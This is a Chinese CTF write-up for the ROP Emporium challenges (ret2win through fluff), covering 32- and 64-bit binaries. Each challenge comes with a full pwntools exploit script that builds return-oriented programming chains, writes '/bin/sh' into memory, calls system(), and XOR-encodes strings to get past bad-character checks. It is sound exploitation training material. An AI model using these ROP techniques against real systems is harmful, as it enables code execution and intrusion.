ROP Emporium ALL Challenge

暑假学习计划-0x00

水平有限,这些只是前面大部分题目的WP,最后几道题暂时没做

题目来源:ROP Emporium

工具&&环境:IDA Pro、gdb+peda、ROPgadget、radare2、Ubuntu 16

ROP:

一步一步学ROP之linux_x86篇

一步一步学ROP之linux_x64篇

友情链接:

大佬博客:https://firmianay.github.io/2017/11/02/rop_emporium.html


ret2win

32:

32位栈溢出,扔进IDA里分析一波
这里写图片描述

在ret2win函数中发现system()函数,并且是用来获取flag的,所以本题解题思路应该是栈溢出控制eip跳转到能执行system()函数的地方

这里写图片描述

gdb调试,先检查一下开启的保护机制,发现只开启了NX保护(NX enable意味着栈中的数据没有执行权限)

这里写图片描述

使用pattern产生需要的字符串,然后用来确定栈溢出位置
这里写图片描述

然后我们可以找到输入的字符串在栈中开始的地址距离ebp共40个字节,然后我们需要覆盖掉ebp,所以偏移应该是44

这里写图片描述

回到IDA中找到system()函数的位置,地址是0x08048672,这里也可以使用0x08048659,效果基本一致
这里写图片描述

然后开始构造exp,如下:

from pwn import *

p = process('./ret2win32')

pad = 'a'*40 + 'dead'

system_addr = 0x08048672

payload = pad + p32(system_addr)

p.sendline(payload)

p.interactive()

flag到手

这里写图片描述

64:

64位栈溢出,大致思路和32位的一致,但是要注意64位和32位的区别,64位程序前六个参数保存在寄存器中,所以在写exp的时候要注意。

分析过程同上
这里写图片描述

这里写图片描述
exp:

from pwn import *

p = process('./ret2win')

system_addr = 0x0400824

pad = 'a'*32+'deadbeef'

payload = pad+p64(system_addr)

p.sendline(payload)

p.interactive()

split

32:

此题需要了解一下plt表和got表。

IDA分析,在字符串中有所发现(rabin2同样可以查找字符串),也可以找到system()函数

这里写图片描述
这里写图片描述
此题应该是通过栈溢出控制eip跳转到system()函数,并把/bin/cat flag.txt作为参数传入,进而打印出flag

exp:

from pwn import *

p = process('./split32')

system_addr = 0x08048657
cat_flag_addr = 0x0804a030
pad = 'A'*44

payload = pad+p32(system_addr)+p32(cat_flag_addr)

p.sendline(payload)
p.interactive() 
from pwn import *

p = process('./split32')
elf = ELF('./split32')

system_addr = elf.symbols['system'] 
cat_flag_addr = 0x0804a030
pad = 'A'*44

payload = pad+p32(system_addr)+'BBBB'+p32(cat_flag_addr)

p.sendline(payload)
p.interactive() 

64:

64位程序,传参时前6个参数使用寄存器传递,依此使用rdi、rsi、rdx、rcx、r8、r9,所以需要寻找gadget,这里使用ROPgadget寻找合适的

这里写图片描述
这里选用0x0000000000400883 : pop rdi ; ret

exp:

from pwn import *

p = process('./split')
elf = ELF('./split')

system_addr = elf.symbols['system']
cat_flag_addr = 0x00601060
pop_rdi_ret = 0x0000000000400883
pad = 'A'*40

payload = pad+p64(pop_rdi_ret)+p64(cat_flag_addr)+p64(system_addr)

p.sendline(payload)
p.interactive()

callme

32:

本题需要依此调用三个函数,并且向三个函数中传递参数。

这里写图片描述
可以使用rabin2寻找三个函数的plt表
这里写图片描述

这里写图片描述
这里写图片描述
这里写图片描述

可以使用objdump寻找合适的gadget,地址为0x80488a9
这里写图片描述

exp:

from pwn import *

p = process('./callme32')

callme_one_plt = 0x080485C0
callme_two_plt = 0x08048620
callme_three_plt = 0x080485B0
pop_addr = 0x80488a9
pad = 'A'*44

payload = pad
payload += p32(callme_one_plt)+p32(pop_addr)+p32(1)+p32(2)+p32(3)
payload += p32(callme_two_plt)+p32(pop_addr)+p32(1)+p32(2)+p32(3)
payload += p32(callme_three_plt)+p32(pop_addr)+p32(1)+p32(2)+p32(3)

p.sendline(payload)
p.interactive()

64:

64位注意传参方式的改变

这里写图片描述

from pwn import *

p = process('./callme')

callme_one_plt = 0x0000000000401850
callme_two_plt = 0x0000000000401870
callme_three_plt = 0x0000000000401810
pop_addr = 0x0000000000401ab0
pad = 'A'*40

payload = pad
payload += p64(pop_addr)+p64(1)+p64(2)+p64(3)+p64(callme_one_plt)
payload += p64(pop_addr)+p64(1)+p64(2)+p64(3)+p64(callme_two_plt)
payload += p64(pop_addr)+p64(1)+p64(2)+p64(3)+p64(callme_three_plt)

p.sendline(payload)
p.interactive()

write4

32:

此题具有system()函数,却没有之前见到的/bin/cat flag.txt之类的字符串,所以需要我们自己把需要的字符串写入

这里写图片描述

可以通过gadget将/bin/sh写入到.data处,然后执行。这里选用0x08048670和0x080486da地址处的gadget,然后找到system()函数的plt地址0x08048430,.data的地址是0x0804A028,这里也可以使用bss段的地址
这里写图片描述

这里写图片描述
这里写图片描述
exp:

from pwn import *

p = process('./write432')

system_plt = 0x08048430
data_addr = 0x0804A028
mov_edi_ebp = 0x08048670
pop_edi_ebp = 0x080486da
pad = 'A'*44

payload = pad
payload += p32(pop_edi_ebp)
payload += p32(data_addr)
payload += '/bin'
payload += p32(mov_edi_ebp)
payload += p32(pop_edi_ebp)
payload += p32(data_addr+4)
payload += '/sh\x00'
payload += p32(mov_edi_ebp)
payload += p32(system_plt)
payload += 'BBBB'
payload += p32(data_addr)

p.sendline(payload)
p.interactive()

这里写图片描述

64:

这里写图片描述

exp:

from pwn import *

p = process('./write4')

pop_14_15 = 0x0000000000400890
mov_r14_r15 = 0x0000000000400820
pop_rdi = 0x0000000000400893
system_addr = 0x00000000004005E0
data_addr = 0x0000000000601050
pad = 'A'*40

payload = pad
payload += p64(pop_14_15)
payload += p64(data_addr)
payload += '/bin/sh\x00'
payload += p64(mov_r14_r15)
payload += p64(pop_rdi)
payload += p64(data_addr)
payload += p64(system_addr)

p.sendline(payload)
p.interactive()

badchars

32:

此题和上一道题差不多,但是要注意到此题中带有checkBadchars() 函数,所以在传入字符串的时候需要进行加密绕过checkBadchars() 函数的校验,然后进行解密
这里写图片描述

这里写图片描述

使用xor进行加密解密以达到绕过的效果,寻找合适的gadget

这里写图片描述

exp:

from pwn import *

p = process('./badchars32')

pop_ebx_ecx = 0x08048896
pop_esi_edi = 0x08048899
mov_edi_esi = 0x08048893
xor_ebx_cl = 0x08048890
system_plt = 0x080484E0
bss_addr = 0x0804A040
pad = 'A'*44

badchars = [98,105,99,47,32,102,110,115]
xor_byte = 1
while 1:
    binsh = ''
    for i in '/bin/sh\x00':
        a = ord(i) ^ xor_byte
        if a in badchars:
            xor_byte += 1
            break
        else:
            binsh += chr(a)
    if len(binsh) == 8:
        break

payload = pad
payload += p32(pop_esi_edi)
payload += binsh[:4]
payload += p32(bss_addr)
payload += p32(mov_edi_esi)
payload += p32(pop_esi_edi)
payload += binsh[4:8]
payload += p32(bss_addr+4)
payload += p32(mov_edi_esi)

for i in range(len(binsh)):
    payload += p32(pop_ebx_ecx)
    payload += p32(bss_addr+i)
    payload += p32(xor_byte)
    payload += p32(xor_ebx_cl)

payload += p32(system_plt)
payload += 'BBBB'
payload += p32(bss_addr)

p.sendline(payload)
p.interactive()

64:

这里写图片描述

exp:

from pwn import *

p = process('./badchars')

pop_r12_r13 = 0x0000000000400b3b
pop_r14_r15 = 0x0000000000400b40
pop_rdi = 0x0000000000400b39
mov_r13_r12 = 0x0000000000400b34
xor_r15_r14b = 0x0000000000400b30
system_plt = 0x00000000004006F0
bss_addr = 0x0000000000601080
pad = 'A'*40

badchars = [98,105,99,47,32,102,110,115]
xor_byte = 1
while 1:
    binsh = ''
    for i in '/bin/sh\x00':
        a = ord(i) ^ xor_byte
        if a in badchars:
            xor_byte += 1
            break
        else:
            binsh += chr(a)
    if len(binsh)==8:
        break

payload = pad
payload += p64(pop_r12_r13)
payload += binsh
payload += p64(bss_addr)
payload += p64(mov_r13_r12)

for i in range(len(binsh)):
    payload += p64(pop_r14_r15)
    payload += p64(xor_byte)
    payload += p64(bss_addr+i)
    payload += p64(xor_r15_r14b)

payload += p64(pop_rdi)
payload += p64(bss_addr)
payload += p64(system_plt)

p.sendline(payload)
p.interactive()

fluff

32:

本题在寻找gadget方面增加了难度,不能像之前那样直接找到gadget

这里写图片描述
ecx存放地址,edx存放数据,然后把数据写到地址处:

from pwn import *

p = process('./fluff32')

system_plt = 0x08048430
bss_addr = 0x0804A040
pop_ebx = 0x080483e1
mov_ecx_edx = 0x08048693
xchg_edx_ecx = 0x08048689
xor_edx_edx = 0x08048671
xor_edx_ebx = 0x0804867b
pad = 'A'*44

def write_data(data,addr):
    # ~ addr --> ecx
    payload = ''
    payload += p32(xor_edx_edx)
    payload += 'AAAA'
    payload += p32(pop_ebx)
    payload += p32(addr)
    payload += p32(xor_edx_ebx)
    payload += 'AAAA'
    payload += p32(xchg_edx_ecx)
    payload += 'AAAA'
    # ~ data --> edx
    payload += p32(xor_edx_edx)
    payload += 'AAAA'
    payload += p32(pop_ebx)
    payload += data
    payload += p32(xor_edx_ebx)
    payload += 'AAAA'
    # ~ edx -->[ecx]
    payload += p32(mov_ecx_edx)
    payload += 'AAAA'
    payload += p32(0)

    return payload

payload = pad
payload += write_data('/bin',bss_addr)
payload += write_data('/sh\x00',bss_addr+4)
payload += p32(system_plt)
payload += 'AAAA'
payload += p32(bss_addr) 

p.sendline(payload)
p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值